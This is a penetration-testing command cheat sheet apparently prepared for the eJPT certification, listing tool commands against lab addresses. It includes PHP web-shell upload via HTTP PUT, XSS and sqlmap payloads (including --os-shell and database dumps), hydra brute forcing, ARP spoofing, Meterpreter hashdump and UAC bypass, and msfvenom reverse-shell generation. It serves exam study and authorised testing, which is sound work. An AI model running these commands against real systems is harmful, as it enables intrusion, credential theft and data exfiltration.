Command Guide for eJPT

|  |  |
| --- | --- |
| # ip route | prints the routing table for the host you are on |
| # ip route add <route to> via <route from> | add a route to a new network if on a switched network and you need to pivot |
| # whois site.com | Enumeration of a site |
| # fping -a -g 10.10.10.0/24 2>/dev/null | Ping Sweep |
| # nmap -sn 10.10.10.0/24 | Ping Sweep |
| # nmap -Pn -O 10.10.10.10 | OS detection |
| # nmap -sC -sV 10.10.10.10 | Nmap Quick Scan |
| # nmap -sC -sV -p- 10.10.10.10 | Nmap Full Scan |
| # nmap -sU -sV 10.10.10.10 | Nmap UDP Quick |
| # nmap -sn 10.10.10.0/24 -oN hosts.nmap | Nmap output file |
| # cat hosts.nmap | grep for | cut -d “ “ -f 5 | To filter out just Ips from the nmap scan results |
| # nmap -sV -Pn -T4 -A -p- -iL hosts.nmap -oN ports.nmap | Other useful nmap scans |
| # nmap --script vuln --script-args=unsafe=1 -iL hosts.nmap | Other useful nmap scans |
| # nc -v 10.10.10.10 port  Head / HTTP/1.0 | Banner Grabbing |
| # openssl s\_client -connect 10.10.10.10:443  Head / HTTP/1.0 | OpenSSL for HTTPS services |
| # httprint -P0 -h 10.10.10.10 -s /path/to/signaturefile.txt | Httprint |
| GET, POST, HEAD, PUT, DELETE, OPTIONS | HTTP Verbs |
| # wc -m shell.php  x shell.php  PUT /shell.php  Content-type: text/html  Content-length: x  Directory and File Scanning | You can use HTTP verbs to upload a php shell. Find the content length, then use PUT to upload the shell. Make sure you include the size of the payload when using the PUT command. |
| # dirsearch.py -u http://10.10.10.10 -e \*  #gobuster -u 10.10.10.10 -w /path/to/wordlist.txt | Directory scanning tools |
| site:  intitle:  inurl:  filetype:  AND, OR, &, |, - | Advanced Google Searches Not really necessary, but useful to know all the same. |
| General steps for XSS  # <script>alert(1)</script>  # <ScRiPt>alert(1)</ScRiPt>  Great XSS bypass list:  https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html | 1. Find a reflection point 2. Test with tag 3. Test with HTML/JavaScript code (alert('XSS'))   Reflected XSS = Payload is carried inside the request the victim sends to the website. Typically the link contains the malicious payload  Persistent XSS = Payload remains in the site that multiple users can fall victim to. Typically embedded via a form or forum post |
| # sqlmap -u http://10.10.10.10 -p parameter  # sqlmap -u http://10.10.10.10 --data POSTstring -p parameter  # sqlmap -u http://10.10.10.10 --os-shell  # sqlmap -u http://10.10.10.10 –dump  Check if injection exists  # sqlmap -r Post.req  # sqlmap -u "http://10.10.10.10/file.php?id=1" -p id  # sqlmap -u "http://10.10.10.10/login.php" --data="user=admin&password=admin"  Get database if injection Exists  # sqlmap -r login.req --dbs  # sqlmap -u "http://10.10.10.10/file.php?id=1" -p id --dbs  # sqlmap -u "http://10.10.10.10/login.php" --data="user=admin&password=admin" --dbs\  Get Tables in a Database  # sqlmap -r login.req -D dbname --tables  # sqlmap -u "http://10.10.10.10/file.php?id=1" -p id -D dbname --tables  # sqlmap -u “http://10.10.10.10/login.php” –data=”user=admin&password=admin” -D dbname –tables  Get data in a Database tables  # sqlmap -r login.req -D dbname -T table\_name --dump  # sqlmap -u "http://10.10.10.10/file.php?id=1" -p id -D dbname -T table\_name --dump  # sqlmap -u "http://10.10.10.10/login.php" --data="user=admin&password=admin" -D dbname -T table\_name --dump | SQLMap commands |
| # unshadow passwd shadow > unshadow | Prepares a file for John the Ripper |
| # john -wordlist /path/to/wordlist -users=users.txt hashfile | Hash Cracking with John |
| # hydra -L users.txt -P pass.txt -t 10 10.10.10.10 ssh -s 22  # hydra -L users.txt -P pass.txt telnet://10.10.10.10 | SSH Brute forcing with Hydra.  You can change protocol as well, for instance instead of ssh use ftp. |
| # nmblookup -A 10.10.10.10  # smbclient -L //10.10.10.10 -N (list shares)  # smbclient //10.10.10.10/share -N (mount share)  # enum4linux -a 10.10.10.10  # nmap --script=smb-enum-users,smb-os-discovery,smb-enum-shares,smb-enum-groups,smb-enum-domains 10.10.10.10 -p 135,139,445 -v  # nmap -p445 --script=smb-vuln-\* 10.10.10.10 -v  **Access Share**  # smbclient //10.10.10.10/share\_name | Windows Share enumeration |
| # echo 1 > /proc/sys/net/ipv4/ip\_forward  # arpspoof -i tap0 -t 10.10.10.10 -r 10.10.10.11 | ARP Spoofing |
| search x  use x  info  show options, show advanced options  SET X (e.g. set RHOST 10.10.10.10, set payload x) | Basic Metasploit commands |
| # background  # sessions -l  # sessions -i 1  # sysinfo, ifconfig, route, getuid  # getsystem (privesc)  bypassuac  download x /root/  upload x C:\\Windows  shell  use post/windows/gather/hashdump  CHECK UAC/Privileges  # run post/windows/gather/win\_privs  BYPASS UAC  Background the session first  # exploit/windows/local/bypassuac  # set session  After PrivEsc  migrate <pid>  hashdump | Basic Meterpreter commands |
| JSP Java Meterpreter Reverse TCP  # msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST= LPORT= -f raw > shell.jsp  WAR  # msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST= LPORT= -f war > shell.war  PHP  # msfvenom -p php/meterpreter\_reverse\_tcp LHOST= LPORT= -f raw > shell.php  # cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php | Msfvenom shells |
| # run autoroute -s 10.10.10.0/24 | Autoroute |
| # nmap --script=ftp-anon 10.10.10.10 -p21 -v  # nmap -A -p21 10.10.10.10 -v  Login to FTP server  # ftp 10.10.10.10 | FTP Enumeration |

|  |  |
| --- | --- |
| **To search for a file starting from current directory** # dir /b/s "\*.conf\*" # dir /b/s "\*.txt\*" # dir /b/s "\*filename\*"  **Check** routing **table** # route print # netstat -r  **Check Users** # net users  **List drives on the machine** # wmic logicaldisk get Caption,Description,providername |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |
|  |  |